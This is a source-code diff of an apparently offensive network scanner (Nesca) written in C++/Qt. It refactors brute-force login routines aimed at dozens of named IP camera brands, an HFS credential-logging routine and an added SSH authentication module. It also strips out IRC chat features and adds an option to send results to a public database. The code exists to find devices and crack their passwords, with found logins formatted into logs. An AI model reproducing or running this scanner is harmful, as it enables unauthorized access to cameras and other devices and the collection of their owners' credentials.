_specBrute(ps.cookie, ip, p, hl, "[Hikvision] IP Camera", flag, "/PSIA/Custom/SelfExt/userCheck", "Basic Authorization", cp, recd); _specBrute(ip, p, hl, "[Hikvision] IP Camera", flag, "/PSIA/Custom/SelfExt/userCheck", "Basic Authorization", cp, recd);
} }
else if(flag == 35) //EasyCam else if(flag == 35) //EasyCam
{ {
@ -1540,11 +1534,11 @@ int Lexems::_filler(int p, const char* buffcpy, char* ip, int recd, Lexems *lx,
} }
else if(flag == 36) //Panasonic Cam else if(flag == 36) //Panasonic Cam
{ {
_specBrute(ps.cookie, ip, p, hl, "[Panasonic] IP Camera", flag, "/config/index.cgi", "Basic Authorization", cp, recd); _specBrute(ip, p, hl, "[Panasonic] IP Camera", flag, "/config/index.cgi", "Basic Authorization", cp, recd);
} }
else if(flag == 37) //Panasonic Cam else if(flag == 37) //Panasonic Cam
{ {
_specBrute(ps.cookie, ip, p, hl, "[Panasonic] IP Camera", flag, "/view/getuid.cgi", "Basic Authorization", cp, recd); _specBrute(ip, p, hl, "[Panasonic] IP Camera", flag, "/view/getuid.cgi", "Basic Authorization", cp, recd);
} }
else if(flag == 38) //Foscam else if(flag == 38) //Foscam
{ {
@ -1552,11 +1546,11 @@ int Lexems::_filler(int p, const char* buffcpy, char* ip, int recd, Lexems *lx,
} }
else if(flag == 39) //EagleEye else if(flag == 39) //EagleEye
{ {
_specBrute(ps.cookie, ip, p, hl, "[EagleEye] IP Camera", flag, "/cgi-bin/guest/Video.cgi?", "Basic Authorization", cp, recd); _specBrute(ip, p, hl, "[EagleEye] IP Camera", flag, "/cgi-bin/guest/Video.cgi?", "Basic Authorization", cp, recd);
} }
else if(flag == 40) //Network Camera VB-C?? else if(flag == 40) //Network Camera VB-C??
{ {
_specBrute(ps.cookie, ip, p, hl, "[Network Camera VB-C??] IP Camera", flag, "/admin/index.shtml?", "Basic Authorization", cp, recd); _specBrute(ip, p, hl, "[Network Camera VB-C??] IP Camera", flag, "/admin/index.shtml?", "Basic Authorization", cp, recd);
} }
else if(flag == 41) //AVIOSYS-camera else if(flag == 41) //AVIOSYS-camera
{ {
@ -1564,19 +1558,19 @@ int Lexems::_filler(int p, const char* buffcpy, char* ip, int recd, Lexems *lx,
} }
else if(flag == 42) //NW_camera else if(flag == 42) //NW_camera
{ {
_specBrute(ps.cookie, ip, p, hl, "[NW_camera] IP Camera", flag, "/cgi-bin/getuid?FILE=indexnw.html", "Basic Authorization", cp, recd); _specBrute(ip, p, hl, "[NW_camera] IP Camera", flag, "/cgi-bin/getuid?FILE=indexnw.html", "Basic Authorization", cp, recd);
} }
else if(flag == 43) //NW_camera else if(flag == 43) //NW_camera
{ {
_specBrute(ps.cookie, ip, p, hl, "[Micros] IP Camera", flag, "/gui/rem_display.shtml", "Basic Authorization", cp, recd); _specBrute(ip, p, hl, "[Micros] IP Camera", flag, "/gui/rem_display.shtml", "Basic Authorization", cp, recd);
} }
else if(flag == 44) //Hikvision ip cam 2 else if(flag == 44) //Hikvision ip cam 2
{ {
_specBrute(ps.cookie, ip, p, hl, "[Hikvision] IP Camera 2", flag, "/ISAPI/Security/userCheck", "Basic Authorization", cp, recd); _specBrute(ip, p, hl, "[Hikvision] IP Camera 2", flag, "/ISAPI/Security/userCheck", "Basic Authorization", cp, recd);
} }
else if(flag == 45) //Panasonic ip cam else if(flag == 45) //Panasonic ip cam
{ {
_specBrute(ps.cookie, ip, p, hl, "[Panasonic] IP Camera", flag, "/config/index.cgi", "Basic Authorization", cp, recd); _specBrute(ip, p, hl, "[Panasonic] IP Camera", flag, "/config/index.cgi", "Basic Authorization", cp, recd);
} }
else if(flag == 46) //Buffalo disk else if(flag == 46) //Buffalo disk
{ {
@ -1596,46 +1590,46 @@ int Lexems::_filler(int p, const char* buffcpy, char* ip, int recd, Lexems *lx,
} }
else if (flag == 50) //IP Camera else if (flag == 50) //IP Camera
{ {
_specBrute(ps.cookie, ip, p, hl, "IP Camera", flag, "/app/multi/single.asp", "Basic Authorization", cp, recd); _specBrute(ip, p, hl, "IP Camera", flag, "/app/multi/single.asp", "Basic Authorization", cp, recd);
} }
else if(flag == 20) //AXIS Camera else if(flag == 20) //AXIS Camera
{ {
_specBrute(ps.cookie, ip, p, hl, "AXIS Camera", flag, "/axis-cgi/com/ptz.cgi?", "Basic Authorization", cp, recd); _specBrute(ip, p, hl, "AXIS Camera", flag, "/axis-cgi/com/ptz.cgi?", "Basic Authorization", cp, recd);
} }
else if(flag == 19) //reecam cameras else if(flag == 19) //reecam cameras
{ {
_specBrute(ps.cookie, ip, p, hl, "Reecam (network camera)", flag, "/videostream.cgi", "Basic Authorization", cp, recd); _specBrute(ip, p, hl, "Reecam (network camera)", flag, "/videostream.cgi", "Basic Authorization", cp, recd);
} }
else if(flag == 18) //linksys camera else if(flag == 18) //linksys camera
{ {
_specBrute(ps.cookie, ip, p, hl, "Linksys camera", flag, "/img/main.cgi", "Basic Authorization", cp, recd); _specBrute(ip, p, hl, "Linksys camera", flag, "/img/main.cgi", "Basic Authorization", cp, recd);
} }
else if(flag == 17) //Real-time IP Camera Monitoring System else if(flag == 17) //Real-time IP Camera Monitoring System
{ {
_specBrute(ps.cookie, ip, p, hl, "Real-time IP Camera Monitoring System", flag, "/live.htm", "Basic Authorization", cp, recd); _specBrute(ip, p, hl, "Real-time IP Camera Monitoring System", flag, "/live.htm", "Basic Authorization", cp, recd);
} }
else if(flag == 11) else if(flag == 11)
{ {
_specBrute(ps.cookie, ip, p, hl, "Netwave IP Camera", flag, "/videostream.cgi", "Basic Authorization", cp, recd); _specBrute(ip, p, hl, "Netwave IP Camera", flag, "/videostream.cgi", "Basic Authorization", cp, recd);
} }
else if(flag == 12) else if(flag == 12)
{ {
_specBrute(ps.cookie, ip, p, hl, "IP Camera", flag, "/view/view.shtml?videos=", "Basic Authorization", cp, recd); _specBrute(ip, p, hl, "IP Camera", flag, "/view/view.shtml?videos=", "Basic Authorization", cp, recd);
} }
else if(flag == 13) else if(flag == 13)
{ {
_specBrute(ps.cookie, ip, p, hl, "IP Camera", flag, "/eng/view/indexjava.html", "Basic Authorization", cp, recd); _specBrute(ip, p, hl, "IP Camera", flag, "/eng/view/indexjava.html", "Basic Authorization", cp, recd);
} }
else if(flag == 14) else if(flag == 14)
{ {
_specBrute(ps.cookie, ip, p, hl, "IP Camera", flag, "/rdr.cgi", "Basic Authorization", cp, recd); _specBrute(ip, p, hl, "IP Camera", flag, "/rdr.cgi", "Basic Authorization", cp, recd);
} }
else if(flag == 15) //For HFS else if(flag == 15) //For HFS
{ {
char log[512] = {0}; char log[512] = {0};
++AnomC1; ++AnomC1;
const lopaStr &lps = BA::_BALobby((string(ip) + "/~login").c_str(), p); const lopaStr &lps = BA::BALobby((string(ip) + "/~login").c_str(), p);
sprintf(log, "[HFS]:<font color=\"#ff6600\">%s :: </font><a href=\"http://%s:%s/\"><span style=\"color: #a1a1a1;\">%s:%s</span></a><font color=\"#0084ff\"> T: </font><font color=\"#ff9600\">%s Pass: %s:%s</font>", sprintf(log, "[HFS]:<font color=\"#ff6600\">%s :: </font><a href=\"http://%s:%s/\"><span style=\"color: #a1a1a1;\">%s:%s</span></a><font color=\"#0084ff\"> T: </font><font color=\"#ff9600\">%s Pass: %s:%s</font>",
hl, ip, port, ip, port, finalstr, lps.login, lps.pass); hl, ip, port, ip, port, finalstr, lps.login, lps.pass);
@ -1645,11 +1639,11 @@ int Lexems::_filler(int p, const char* buffcpy, char* ip, int recd, Lexems *lx,
} }
else if(flag == 1) else if(flag == 1)
{ {
_specBrute(ps.cookie, ip, p, hl, finalstr, flag, baPath, "[NORMAL]", cp, recd); _specBrute(ip, p, hl, finalstr, flag, baPath, "[NORMAL]", cp, recd);
} }
else if(flag == 101) else if(flag == 101)
{ {
_specBrute(ps.cookie, ip, p, hl, finalstr, flag, baPath, "[DIGEST]", cp, recd); _specBrute(ip, p, hl, finalstr, flag, baPath, "[DIGEST]", cp, recd);
} }
else if(flag == 10) else if(flag == 10)
{ {
@ -1663,7 +1657,7 @@ int Lexems::_filler(int p, const char* buffcpy, char* ip, int recd, Lexems *lx,
return flag; return flag;
} }
int redirectReconnect(char *cookie, char *ip, int port, char *str, Lexems *ls, PathStr *ps, std::vector<std::string> *redirStrLst) int redirectReconnect(char *ip, int port, char *str, Lexems *ls, PathStr *ps, std::vector<std::string> *redirStrLst)
{ {
if(ls->iterationCount++ == 5) if(ls->iterationCount++ == 5)
{ {
@ -2151,33 +2145,11 @@ void _getLinkFromJSLocation(char *dataBuff, char *str, char *tag, char *ip, int
}; };
} }
void _getJSCookie(char *dataBuff, const char *str, char *ip, int port)
{
char *ptr1 = strstri(str, "document.cookie");
if(ptr1 != NULL)
{
char *ptr2 = _findFirst(ptr1, "\"'");
if(ptr2 != NULL)
{
char *ptr3 = _findFirst(ptr2 + 1, "\"'");
if(ptr3 != NULL)
{
int sz = ptr3 - ptr2 - 1;
if(sz < 1024) strncpy(dataBuff, ptr2 + 1, sz);
else
{
stt->doEmitionRedFoundData("[_getJSCookie] Cookie exceeds max value [" + QString(ip) + ":" + QString::number(port) + "]");
};
};
};
};
}
int Lexems::_header(char *ip, int port, const char str[], Lexems *l, PathStr *ps, std::vector<std::string> *redirStrLst) int Lexems::_header(char *ip, int port, const char str[], Lexems *l, PathStr *ps, std::vector<std::string> *redirStrLst)
{ {
std::string redirectStr = ""; std::string redirectStr = "";
if(strstr(str, "Set-Cookie:") != NULL) strncpy(ps->cookie, _getAttribute(str, "Set-Cookie:"), COOKIE_MAX_SIZE);
strcpy(ps->codepage, GetCodePage(str)); strcpy(ps->codepage, GetCodePage(str));
char finalstr[512] = {0}; char finalstr[512] = {0};
if(strstri(str, "notice auth :*** looking up your hostname...") if(strstri(str, "notice auth :*** looking up your hostname...")
@ -2279,15 +2251,17 @@ int Lexems::_header(char *ip, int port, const char str[], Lexems *l, PathStr *ps
}; };
}; };
}; };
redirectStr = std::string(temp3); redirectStr = std::string(temp3);
if(std::find(redirStrLst->begin(), redirStrLst->end(), redirectStr) == redirStrLst->end()) if(std::find(redirStrLst->begin(), redirStrLst->end(), redirectStr) == redirStrLst->end())
{ {
redirStrLst->push_back(redirectStr); redirStrLst->push_back(redirectStr);
return redirectReconnect(ps->cookie, ip, port, temp3, l, ps, redirStrLst); return redirectReconnect(ip, port, temp3, l, ps, redirStrLst);
} return -1; } return -1;
strcat(ps->headr, " "); strcat(ps->headr, " ");
return -2; return -2;
}; };
strcat(ps->headr, finalstr); strcat(ps->headr, finalstr);
strcat(ps->headr, " "); strcat(ps->headr, " ");
return 0; return 0;
@ -2295,13 +2269,7 @@ int Lexems::_header(char *ip, int port, const char str[], Lexems *l, PathStr *ps
}; };
if(strstri(str, "<script") != NULL) if(strstri(str, "<script") != NULL)
{ {
if(strstri(str, "document.cookie") != NULL)
{
ZeroMemory(ps->cookie, sizeof(ps->cookie));
_getJSCookie(ps->cookie, str, ip, port);
};
char *ptr1 = strstri(str, "<script"); char *ptr1 = strstri(str, "<script");
char *ptr2 = NULL; char *ptr2 = NULL;
char linkPtr[512] = {0}; char linkPtr[512] = {0};
@ -2330,7 +2298,7 @@ int Lexems::_header(char *ip, int port, const char str[], Lexems *l, PathStr *ps
if(std::find(redirStrLst->begin(), redirStrLst->end(), redirectStr) == redirStrLst->end()) if(std::find(redirStrLst->begin(), redirStrLst->end(), redirectStr) == redirStrLst->end())
{ {
redirStrLst->push_back(redirectStr); redirStrLst->push_back(redirectStr);
redirectReconnect(ps->cookie, ip, port, linkPtr, l, ps, redirStrLst); redirectReconnect(ip, port, linkPtr, l, ps, redirStrLst);
}; };
}; };
delete []scriptContainer; delete []scriptContainer;
@ -2381,7 +2349,7 @@ int Lexems::_header(char *ip, int port, const char str[], Lexems *l, PathStr *ps
if(std::find(redirStrLst->begin(), redirStrLst->end(), redirectStr) == redirStrLst->end()) if(std::find(redirStrLst->begin(), redirStrLst->end(), redirectStr) == redirStrLst->end())
{ {
redirStrLst->push_back(redirectStr); redirStrLst->push_back(redirectStr);
return redirectReconnect(ps->cookie, ip, port, linkPtr, l, ps, redirStrLst); return redirectReconnect(ip, port, linkPtr, l, ps, redirStrLst);
} return -1; } return -1;
}; };
delete []scriptContainer; delete []scriptContainer;
@ -2495,7 +2463,7 @@ int Lexems::_header(char *ip, int port, const char str[], Lexems *l, PathStr *ps
if(std::find(redirStrLst->begin(), redirStrLst->end(), redirectStr) == redirStrLst->end()) if(std::find(redirStrLst->begin(), redirStrLst->end(), redirectStr) == redirStrLst->end())
{ {
redirStrLst->push_back(redirectStr); redirStrLst->push_back(redirectStr);
return redirectReconnect(ps->cookie, ip, port, lol, l, ps, redirStrLst); return redirectReconnect(ip, port, lol, l, ps, redirStrLst);
}; };
} }
else else
@ -2565,7 +2533,7 @@ int Lexems::_header(char *ip, int port, const char str[], Lexems *l, PathStr *ps
// if (std::find(redirStrLst->begin(), redirStrLst->end(), redirStr) == redirStrLst->end()) // if (std::find(redirStrLst->begin(), redirStrLst->end(), redirStr) == redirStrLst->end())
// { // {
// redirStrLst->push_back(redirStr); // redirStrLst->push_back(redirStr);
// return redirectReconnect(ps->cookie, ip, port, redirStr, l, ps, redirStrLst); // return redirectReconnect(ip, port, redirStr, l, ps, redirStrLst);
// } return -1; // } return -1;
// } // }
// return -2; // return -2;

View File

@ -1,16 +0,0 @@
#include "irc_nmblinker.h"
#include "nesca_3.h"
void IRC_NMBlinker::doEmitBlinkMessage()
{
emit irc_nmb->sBlinkMessage();
};
void IRC_NMBlinker::run()
{
while(widgetIsHidden == false && disableBlink == false && tray->isVisible() == false)
{
irc_nmb->doEmitBlinkMessage();
msleep(500);
};
};

View File

@ -1,20 +0,0 @@
#ifndef IRC_NMBLINKER_H
#define IRC_NMBLINKER_H
#include "nesca_3.h"
class IRC_NMBlinker : public QThread
{
Q_OBJECT
public:
static void doEmitBlinkMessage();
public: signals: void sBlinkMessage();
protected:
void run();
};
extern IRC_NMBlinker *irc_nmb;
#endif // IRC_NMBLINKER_H

View File

@ -5,6 +5,7 @@
int main(int argc, char *argv[]) int main(int argc, char *argv[])
{ {
QApplication a(argc, argv); QApplication a(argc, argv);
QStringList list; QStringList list;
list << "Eurostile.ttf"; list << "Eurostile.ttf";
int fontID(-1); int fontID(-1);

View File

@ -2,7 +2,6 @@
#include "base64.h" #include "base64.h"
#include <libssh/libssh.h> #include <libssh/libssh.h>
#include <openssl/ssl.h>
#include <vector> #include <vector>
#include <curl/curl.h> #include <curl/curl.h>
#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) #if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__)
@ -151,17 +150,6 @@ class Connector_old
public: public:
int _Updater(); int _Updater();
// lopaStr _FTPLobby(char *ip,
// int port,
// PathStr *ps);
// lopaStr _BALobby(char *cookie,
// char *ip,
// int port,
// char *path,
// char *method,
// char *data);
lopaStr _WFLobby(char *cookie, lopaStr _WFLobby(char *cookie,
char *ip, char *ip,
int port, int port,
@ -188,5 +176,3 @@ public:
extern lopaStr _IPCameraBLobby(const char *ip, int port, char *SPEC); extern lopaStr _IPCameraBLobby(const char *ip, int port, char *SPEC);
//extern lopaStr _BALobby(char *cookie, char *ip, int port, char *path, char *method);
//extern lopaStr _FTPLobby(char *ip, int port, PathStr *ps);

BIN
nesca Executable file

Binary file not shown.

View File

@ -20,18 +20,14 @@ SOURCES +=\
ActivityDrawerTh_HorNet.cpp \ ActivityDrawerTh_HorNet.cpp \
base64.cpp \ base64.cpp \
CheckKey_Th.cpp \ CheckKey_Th.cpp \
CheckProxy_Th.cpp \
DrawerTh_GridQoSScanner.cpp \ DrawerTh_GridQoSScanner.cpp \
DrawerTh_HorNet.cpp \ DrawerTh_HorNet.cpp \
DrawerTh_ME2Scanner.cpp \ DrawerTh_ME2Scanner.cpp \
DrawerTh_QoSScanner.cpp \ DrawerTh_QoSScanner.cpp \
DrawerTh_VoiceScanner.cpp \ DrawerTh_VoiceScanner.cpp \
irc_nmblinker.cpp \
IRCPinger_Th.cpp \
msgcheckerthread.cpp \ msgcheckerthread.cpp \
nesca_3.cpp \ nesca_3.cpp \
nesca_startModule.cpp \ nesca_startModule.cpp \
oIRC_Th.cpp \
piestat.cpp \ piestat.cpp \
progressbardrawer.cpp \ progressbardrawer.cpp \
STh.cpp \ STh.cpp \
@ -44,13 +40,13 @@ SOURCES +=\
BruteUtils.cpp \ BruteUtils.cpp \
BasicAuth.cpp \ BasicAuth.cpp \
FTPAuth.cpp \ FTPAuth.cpp \
Threader.cpp Threader.cpp \
SSHAuth.cpp
HEADERS += ActivityDrawerTh_HorNet.h \ HEADERS += ActivityDrawerTh_HorNet.h \
base64.h \ base64.h \
CheckKey_Th.h \ CheckKey_Th.h \
CheckProxy_Th.h \
DrawerTh_GridQoSScanner.h \ DrawerTh_GridQoSScanner.h \
DrawerTh_HorNet.h \ DrawerTh_HorNet.h \
DrawerTh_ME2Scanner.h \ DrawerTh_ME2Scanner.h \
@ -58,12 +54,9 @@ HEADERS += ActivityDrawerTh_HorNet.h \
DrawerTh_VoiceScanner.h \ DrawerTh_VoiceScanner.h \
externData.h \ externData.h \
externFunctions.h \ externFunctions.h \
irc_nmblinker.h \
IRCPinger_Th.h \
mainResources.h \ mainResources.h \
msgcheckerthread.h \ msgcheckerthread.h \
nesca_3.h \ nesca_3.h \
oIRC_Th.h \
piestat.h \ piestat.h \
progressbardrawer.h \ progressbardrawer.h \
resource.h \ resource.h \
@ -75,7 +68,8 @@ HEADERS += ActivityDrawerTh_HorNet.h \
BasicAuth.h \ BasicAuth.h \
BruteUtils.h \ BruteUtils.h \
FTPAuth.h \ FTPAuth.h \
Threader.h Threader.h \
SSHAuth.h
FORMS += nesca_3.ui FORMS += nesca_3.ui
@ -86,12 +80,8 @@ OTHER_FILES += \
nesca_3.rc nesca_3.rc
unix|win32: LIBS += -lssl
unix|win32: LIBS += -lssh unix|win32: LIBS += -lssh
unix|win32: LIBS += -lcrypto unix|win32: LIBS += -lcrypto
unix|win32: LIBS += -lpthread
unix|win32: LIBS += -lcurl unix|win32: LIBS += -lcurl

View File

@ -1,6 +1,6 @@
<?xml version="1.0" encoding="UTF-8"?> <?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE QtCreatorProject> <!DOCTYPE QtCreatorProject>
<!-- Written by QtCreator 3.2.1, 2015-03-20T15:45:12. --> <!-- Written by QtCreator 3.2.1, 2015-03-23T10:43:12. -->
<qtcreator> <qtcreator>
<data> <data>
<variable>EnvironmentId</variable> <variable>EnvironmentId</variable>

File diff suppressed because it is too large Load Diff

View File

@ -24,12 +24,12 @@
#include "mainResources.h" #include "mainResources.h"
extern Ui::nesca_3Class *ui; extern Ui::nesca_3Class *ui;
extern bool widgetIsHidden, IRCLogToggled, blinkFlag, disableBlink, debugFileOK, QOSWait, extern bool widgetIsHidden, blinkFlag, disableBlink, QOSWait,
connectedToIRC, ME2ScanFlag, QoSScanFlag, VoiceScanFlag, PieStatFlag, proxyEnabledFlag, ME2ScanFlag, QoSScanFlag, VoiceScanFlag, PieStatFlag, proxyEnabledFlag,
smBit_8, smBit_7, smBit_6, smBit_5, smBit_4, smBit_3, smBit_2, smBit_1, printDelimiter; smBit_8, smBit_7, smBit_6, smBit_5, smBit_4, smBit_3, smBit_2, smBit_1, printDelimiter;
extern float QoSStep; extern float QoSStep;
extern int MaxDataVal; extern int MaxDataVal;
extern char endIP2[128], inputStr[256]; extern char inputStr[256];
extern SOCKET lSock; extern SOCKET lSock;
extern QVector<int> vAlivLst, vAnomLst, vWFLst, vSuspLst, vLowlLst, vBALst, vSSHLst, vOvrlLst, actLst; extern QVector<int> vAlivLst, vAnomLst, vWFLst, vSuspLst, vLowlLst, vBALst, vSSHLst, vOvrlLst, actLst;
@ -67,19 +67,7 @@ protected:
void changeNSTrackLabel(bool status); void changeNSTrackLabel(bool status);
void slotPBUpdate(); void slotPBUpdate();
void DNSLine_ValueChanged(); void DNSLine_ValueChanged();
void slotChangeCPModeToUTF(); void slotShowRedVersion();
void slotChangeCPModeTo1251();
void slotShowRedVersion();
void ChangeDebugFileState(bool val);
void ChangeTopic();
void slotIRCGetTopic(QString str);
void slotIRCOfflined();
void slotUnhidePopup(QString str, QString senderNick);
void slotItemClicked(QListWidgetItem* wi);
void slotClearNickList();
void slotAppendIRCNick(QString str);
void slotShowNicks();
void slotBlinkMessage();
void slotTabChanged(int index); void slotTabChanged(int index);
void IPScanSeq(); void IPScanSeq();
void DNSScanSeq(); void DNSScanSeq();
@ -91,22 +79,13 @@ protected:
void slotShowServerMsg(QString str); void slotShowServerMsg(QString str);
void slotSaveImage(QAction *qwe); void slotSaveImage(QAction *qwe);
void slotUpdatePie(); void slotUpdatePie();
void slotClearLogs(); void slotClearLogs();
void slotRestartIRC();
void slotDrawVoiceGrid(int factor); void slotDrawVoiceGrid(int factor);
void slotDrawTextPlacers(); void slotDrawTextPlacers();
void onLinkClicked(QUrl link);
void CheckPersKey(); void CheckPersKey();
void CheckPersKey(int val); void CheckPersKey(int val);
void slotRestoreDefPorts(); void slotRestoreDefPorts();
void ChangeNick(); void switchToJobMode();
void setNickBox(QString str);
void SaySmthng();
void ChangeIRCRawLog();
void switchToJobMode();
void ConnectToIRCServer();
void CheckProxy();
void ChangeDispalyMode();
void switchDataFields(); void switchDataFields();
void importAndScan(); void importAndScan();
void slotQoSAddGrid(); void slotQoSAddGrid();
@ -140,18 +119,10 @@ protected:
void appendOKText(QString str); void appendOKText(QString str);
void appendDebugText(QString str); void appendDebugText(QString str);
void appendNotifyText(QString str); void appendNotifyText(QString str);
void appendDefaultText(QString str); void appendDefaultText(QString str);
void appendRedIRCText(QString str);
void appendGreenIRCText(QString str);
void appendYellowIRCText(QString str);
void appendDefaultIRCText(bool, bool, QString str, QString s);
void appendDefaultIRCTextOut(QString str);
void appendDefaultIRCRawTextInc(QString str);
void appendDefaultIRCRawTextOut(QString str);
void appendGreenBAData(QString str); void appendGreenBAData(QString str);
void appendRedBAData(QString str); void appendRedBAData(QString str);
void STTTerminate(); void STTTerminate();
void playFcknSound();
private: private:
QPoint dragPosition; QPoint dragPosition;
}; };
@ -200,8 +171,7 @@ protected:
{ {
if(switchWindows) if(switchWindows)
{ {
switchWindows = false; switchWindows = false;
emit ui->IRCModeBut->clicked();
}; };
} }

View File

@ -176,7 +176,7 @@
<property name="font"> <property name="font">
<font> <font>
<family>Eurostile</family> <family>Eurostile</family>
<pointsize>9</pointsize> <pointsize>8</pointsize>
</font> </font>
</property> </property>
<property name="styleSheet"> <property name="styleSheet">
@ -486,7 +486,7 @@
<property name="font"> <property name="font">
<font> <font>
<family>Eurostile</family> <family>Eurostile</family>
<pointsize>9</pointsize> <pointsize>8</pointsize>
</font> </font>
</property> </property>
<property name="styleSheet"> <property name="styleSheet">
@ -793,7 +793,7 @@ color: rgb(214, 214, 0);</string>
<property name="font"> <property name="font">
<font> <font>
<family>Eurostile</family> <family>Eurostile</family>
<pointsize>9</pointsize> <pointsize>8</pointsize>
</font> </font>
</property> </property>
<property name="styleSheet"> <property name="styleSheet">
@ -973,8 +973,8 @@ border-radius: 3px;</string>
<property name="geometry"> <property name="geometry">
<rect> <rect>
<x>30</x> <x>30</x>
<y>100</y> <y>120</y>
<width>241</width> <width>281</width>
<height>17</height> <height>17</height>
</rect> </rect>
</property> </property>
@ -990,7 +990,7 @@ border-radius: 3px;</string>
<string notr="true">color: rgb(216, 216, 216); background-color: rgba(2, 2, 2, 0);</string> <string notr="true">color: rgb(216, 216, 216); background-color: rgba(2, 2, 2, 0);</string>
</property> </property>
<property name="text"> <property name="text">
<string>Send results to NescaDatabase</string> <string>Send results to public NescaDatabase</string>
</property> </property>
<property name="checked"> <property name="checked">
<bool>true</bool> <bool>true</bool>
@ -1142,34 +1142,6 @@ border-radius: 3px;</string>
<string>Check key</string> <string>Check key</string>
</property> </property>
</widget> </widget>
<widget class="QCheckBox" name="debugFileOnOff">
<property name="geometry">
<rect>
<x>30</x>
<y>116</y>
<width>276</width>
<height>17</height>
</rect>
</property>
<property name="font">
<font>
<family>Eurostile</family>
<pointsize>8</pointsize>
</font>
</property>
<property name="whatsThis">
<string/>
</property>
<property name="styleSheet">
<string notr="true">color: rgb(216, 216, 216); background-color: rgba(2, 2, 2, 0);</string>
</property>
<property name="text">
<string>[DEBUG] Write main output to file &quot;./logs/output.txt&quot;</string>
</property>
<property name="checked">
<bool>false</bool>
</property>
</widget>
<widget class="QCheckBox" name="pingingOnOff"> <widget class="QCheckBox" name="pingingOnOff">
<property name="geometry"> <property name="geometry">
<rect> <rect>
@ -2546,7 +2518,7 @@ p, li { white-space: pre-wrap; }
<string>&lt;!DOCTYPE HTML PUBLIC &quot;-//W3C//DTD HTML 4.0//EN&quot; &quot;http://www.w3.org/TR/REC-html40/strict.dtd&quot;&gt; <string>&lt;!DOCTYPE HTML PUBLIC &quot;-//W3C//DTD HTML 4.0//EN&quot; &quot;http://www.w3.org/TR/REC-html40/strict.dtd&quot;&gt;
&lt;html&gt;&lt;head&gt;&lt;meta name=&quot;qrichtext&quot; content=&quot;1&quot; /&gt;&lt;style type=&quot;text/css&quot;&gt; &lt;html&gt;&lt;head&gt;&lt;meta name=&quot;qrichtext&quot; content=&quot;1&quot; /&gt;&lt;style type=&quot;text/css&quot;&gt;
p, li { white-space: pre-wrap; } p, li { white-space: pre-wrap; }
&lt;/style&gt;&lt;/head&gt;&lt;body style=&quot; font-family:'Eurostile'; font-size:8.25pt; font-weight:400; font-style:normal;&quot;&gt; &lt;/style&gt;&lt;/head&gt;&lt;body style=&quot; font-family:'Eurostile'; font-size:11pt; font-weight:400; font-style:normal;&quot;&gt;
&lt;p style=&quot;-qt-paragraph-type:empty; margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px; font-size:8pt;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;/body&gt;&lt;/html&gt;</string> &lt;p style=&quot;-qt-paragraph-type:empty; margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px; font-size:8pt;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;/body&gt;&lt;/html&gt;</string>
</property> </property>
<property name="cursorWidth"> <property name="cursorWidth">
@ -3148,797 +3120,6 @@ background-color: #000000;</string>
<zorder>rVerLabel</zorder> <zorder>rVerLabel</zorder>
<zorder>NSTrackStatusLabel</zorder> <zorder>NSTrackStatusLabel</zorder>
</widget> </widget>
<widget class="QWidget" name="widgetIRC" native="true">
<property name="geometry">
<rect>
<x>500</x>
<y>44</y>
<width>498</width>
<height>730</height>
</rect>
</property>
<property name="palette">
<palette>
<active>
<colorrole role="Button">
<brush brushstyle="LinearGradientPattern">
<gradient startx="0.541000000000000" starty="0.500364000000000" endx="0.540000000000000" endy="0.000000000000000" type="LinearGradient" spread="PadSpread" coordinatemode="ObjectBoundingMode">
<gradientstop position="0.000000000000000">
<color alpha="255">
<red>16</red>
<green>16</green>
<blue>16</blue>
</color>
</gradientstop>
<gradientstop position="1.000000000000000">
<color alpha="255">
<red>0</red>
<green>0</green>
<blue>0</blue>
</color>
</gradientstop>
</gradient>
</brush>
</colorrole>
<colorrole role="Base">
<brush brushstyle="LinearGradientPattern">
<gradient startx="0.541000000000000" starty="0.500364000000000" endx="0.540000000000000" endy="0.000000000000000" type="LinearGradient" spread="PadSpread" coordinatemode="ObjectBoundingMode">
<gradientstop position="0.000000000000000">
<color alpha="255">
<red>16</red>
<green>16</green>
<blue>16</blue>
</color>
</gradientstop>
<gradientstop position="1.000000000000000">
<color alpha="255">
<red>0</red>
<green>0</green>
<blue>0</blue>
</color>
</gradientstop>
</gradient>
</brush>
</colorrole>
<colorrole role="Window">
<brush brushstyle="LinearGradientPattern">
<gradient startx="0.541000000000000" starty="0.500364000000000" endx="0.540000000000000" endy="0.000000000000000" type="LinearGradient" spread="PadSpread" coordinatemode="ObjectBoundingMode">
<gradientstop position="0.000000000000000">
<color alpha="255">
<red>16</red>
<green>16</green>
<blue>16</blue>
</color>
</gradientstop>
<gradientstop position="1.000000000000000">
<color alpha="255">
<red>0</red>
<green>0</green>
<blue>0</blue>
</color>
</gradientstop>
</gradient>
</brush>
</colorrole>
</active>
<inactive>
<colorrole role="Button">
<brush brushstyle="LinearGradientPattern">
<gradient startx="0.541000000000000" starty="0.500364000000000" endx="0.540000000000000" endy="0.000000000000000" type="LinearGradient" spread="PadSpread" coordinatemode="ObjectBoundingMode">
<gradientstop position="0.000000000000000">
<color alpha="255">
<red>16</red>
<green>16</green>
<blue>16</blue>
</color>
</gradientstop>
<gradientstop position="1.000000000000000">
<color alpha="255">
<red>0</red>
<green>0</green>
<blue>0</blue>
</color>
</gradientstop>
</gradient>
</brush>
</colorrole>
<colorrole role="Base">
<brush brushstyle="LinearGradientPattern">
<gradient startx="0.541000000000000" starty="0.500364000000000" endx="0.540000000000000" endy="0.000000000000000" type="LinearGradient" spread="PadSpread" coordinatemode="ObjectBoundingMode">
<gradientstop position="0.000000000000000">
<color alpha="255">
<red>16</red>
<green>16</green>
<blue>16</blue>
</color>
</gradientstop>
<gradientstop position="1.000000000000000">
<color alpha="255">
<red>0</red>
<green>0</green>
<blue>0</blue>
</color>
</gradientstop>
</gradient>
</brush>
</colorrole>
<colorrole role="Window">
<brush brushstyle="LinearGradientPattern">
<gradient startx="0.541000000000000" starty="0.500364000000000" endx="0.540000000000000" endy="0.000000000000000" type="LinearGradient" spread="PadSpread" coordinatemode="ObjectBoundingMode">
<gradientstop position="0.000000000000000">
<color alpha="255">
<red>16</red>
<green>16</green>
<blue>16</blue>
</color>
</gradientstop>
